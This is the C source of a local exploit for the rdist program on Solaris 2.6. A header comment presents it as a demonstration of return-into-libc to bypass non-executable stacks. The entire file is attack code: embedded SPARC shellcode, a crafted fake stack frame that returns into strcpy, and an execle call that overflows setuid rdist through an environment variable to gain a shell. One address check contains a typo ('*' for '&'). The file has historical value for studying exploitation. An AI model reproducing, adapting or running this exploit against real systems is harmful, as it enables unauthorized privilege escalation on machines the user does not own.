/*
   rdist exploit for Solaris 2.6 - horizon - <jmcdonal@unf.edu>

   This demonstrates the return into libc technique for bypassing stack
   execution protection. This requires some preliminary knowledge for use.

   to compile:

   gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>

u_char sparc_shellcode[] =
"\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\xAA";

#define BUF_LENGTH 1024

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH * 2];
   char tempbuf[BUF_LENGTH * 2];
   char teststring[BUF_LENGTH * 2];
   char padding[128];
   char *env[10];
   char fakeframe[512];
   char platform[256];

   void *handle;
   long strcpy_addr;
   long dest_addr;

   u_char *char_p;
   u_long *long_p;
   int i;
   int pad=25;

   if (argc==2) pad+=atoi(argv[1]);

   char_p=buf;

   if (!(handle=dlopen(NULL,RTLD_LAZY)))
   {
      fprintf(stderr,"Can't dlopen myself.\n");
      exit(1);
   }

   if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
   {
      fprintf(stderr,"Can't find strcpy().\n");
      exit(1);
   }

   strcpy_addr-=4;

   if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
      !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
   {
      fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
      exit(1);
   }

   printf("found strcpy() at %lx\n",strcpy_addr);

   if ((dest_addr=(long)dlsym(handle,"accept"))==NULL)
   {
      fprintf(stderr,"Can't find accept().\n");
      exit(1);
   }

   dest_addr=dest_addr & 0xffff0000;
   dest_addr+=0x1800c;

   if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) ||
      !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000))
   {
      fprintf(stderr,"the destination address contains a '0'. sorry.\n");
      exit(1);
   }

   printf("found shellcode destination at %lx\n",dest_addr);

   /* hi sygma! */

   memset(char_p,'A',BUF_LENGTH);

   long_p=(unsigned long *) (char_p+1024);

   /* We don't care about the %l registers */

   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;

   /* Here is the saved %i0-%i7 */

   *long_p++=0xdeadbeef;
   *long_p++=0xefffd378; // safe value for dereferencing
   *long_p++=0xefffd378; // safe value for dereferencing
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xeffffb78; // This is where our fake frame lives
   *long_p++=strcpy_addr; // We return into strcpy
   *long_p++=0;

   long_p=(long *)fakeframe;
   *long_p++=0xAAAAAAAA; // garbage
   *long_p++=0xdeadbeef; // %l0
   *long_p++=0xdeadbeef; // %l1
   *long_p++=0xdeadbeaf; // %l2
   *long_p++=0xdeadbeef; // %l3
   *long_p++=0xdeadbeaf; // %l4
   *long_p++=0xdeadbeef; // %l5
   *long_p++=0xdeadbeaf; // %l6
   *long_p++=0xdeadbeef; // %l7
   *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere)
   *long_p++=0xeffffb18; // %i1 - our source
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xdeadbeef;
   *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use
   *long_p++=dest_addr-8; // %i7 - return into our shellcode
   *long_p++=0;

   sprintf(tempbuf,"blh=%s",buf);

   /* This gives us some padding to play with */

   memset(teststring,'B',BUF_LENGTH);
   teststring[BUF_LENGTH]=0;

   sysinfo(SI_PLATFORM,platform,256);

   pad+=21-strlen(platform);
   for (i=0;i<pad;padding[i++]='A')
      padding[i]=0;

   env[0]=sparc_shellcode;
   env[1]=&(fakeframe[2]);
   env[2]=teststring;
   env[3]=padding;
   env[4]=NULL;

   execle("/usr/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${blh}",
      (char *)0,env);
   perror("execl failed");
}
